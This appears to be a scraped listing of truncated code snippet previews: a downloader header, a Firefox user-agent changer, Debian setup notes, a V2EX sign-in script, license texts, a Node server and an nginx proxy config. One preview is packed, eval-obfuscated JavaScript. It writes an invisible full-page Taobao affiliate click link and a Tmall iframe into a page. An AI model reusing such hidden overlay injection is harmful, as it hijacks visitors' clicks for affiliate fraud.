This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# encoding: utf-8 | |
""" | |
@version: 0.2 | |
@author: endoffiht | |
@file: yunfile_downloader.py | |
@time: 15/6/29 18:06 | |
""" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name UserAgentChangeModLite.uc.js | |
// @namespace http://www.sephiroth-j.de/mozilla/ | |
// @charset utf-8 | |
// @note modify by lastdream2013 at 20130616 mino fix | |
// @note modify by lastdream2013 at 20130409 sitelist : change SITELIST idx to Name | |
// @note modify by lastdream2013 for navigator.userAgent https://g.mozest.com/thread-43428-1-2 | |
// @include chrome://browser/content/browser.xul | |
// ==/UserScript== | |
var ucjs_UAChanger = { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Debian with Popobox v1.0 | |
原文链接:http://pear.xiaojiublog.net/2013/11/debian-with-popobox-v1-0/ | |
## 部分内容由 felix021 修正、简化 ## | |
1: 制作Debian系统 | |
mkdir chroot && cd chroot | |
sudo debootstrap --foreign --arch=armel wheezy debian http://ftp.debian.org/debian | |
打包: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2.3("<8 9=\\"i:j;5:4%;6:k%;z-l:1;\\"><a m=\\"");2.3("7:\\/\\/s.n.o.b/t?e=q%r%u%v%w");2.3("\\" x=\\"y\\"><A c=\\"7:\\/\\/B.C.D\\/E.F\\" 5=\\"4%\\" 6=\\"4%\\" G=\\"0\\"><\\/a><\\/8>");2.3("<p d=\'f\' 9=\'g-H: -I;g-J:K\'>");2.3("<h d=\\"f\\" L=\\"1\\" M=\\"1\\" c=\\"7:\\/\\/N.O.b\\/\\" P=\\"0\\" 5=\\"4%\\" Q=\\"R\\" ");2.3("6=\\"S\\"><\\/h>");',55,55,'||document|writeln|100|width|height|http|div|style||com|src|align||center|margin|iframe|position|absolute|1659|index|href|click|taobao||zGU34CA7K|2BPkqB04MQzdgG3VSuWRI1IF3n|||2FzhW|2BbogdediJHZGZ6vDotKjsvhGbRVQn0r6NRq3SpoHcXAPEHtZgE84w|3D|target|_blank||img|www|qinyuan168|net|jy|gif|border|top|150px|left|0px|marginwidth|marginheight|esey|tmall|f |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env python | |
# -*- coding: utf-8 -*- | |
import requests | |
from bs4 import BeautifulSoup | |
signin_url = "http://www.v2ex.com/signin" | |
award_url = "http://www.v2ex.com/mission/daily" | |
main_url = "http://www.v2ex.com" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE | |
Version 2, December 2004 | |
Copyright (C) 2011 YOUR_NAME_HERE <YOUR_URL_HERE> | |
Everyone is permitted to copy and distribute verbatim or modified | |
copies of this license document, and changing it is allowed as long | |
as the name is changed. | |
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE | |
Version 2, December 2004 | |
Copyright (C) 2011 YOUR_NAME_HERE <YOUR_URL_HERE> | |
Everyone is permitted to copy and distribute verbatim or modified | |
copies of this license document, and changing it is allowed as long | |
as the name is changed. | |
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var http = require('http'); | |
const traceurl = require('traceurl'); | |
var url =require('url'); | |
var server = http.createServer(function (request, response) { | |
response.writeHead(200, {"Content-Type": "text/plain"}); | |
//console.log("request"+url.parse(request.url).query); | |
var urlreq=url.parse(request.url,true).query; | |
if(urlreq!=''){ | |
if(urlreq.url){ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
server { | |
listen 80; | |
server_name dl.cuoluo.me; | |
location / { | |
proxy_redirect off; | |
proxy_set_header X-Real-IP $remote_addr; | |
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; | |
proxy_pass http://dl.dropbox.com/u/1812807/dl.cuoluo.me/index.html; | |
if ($request_method = POST) { |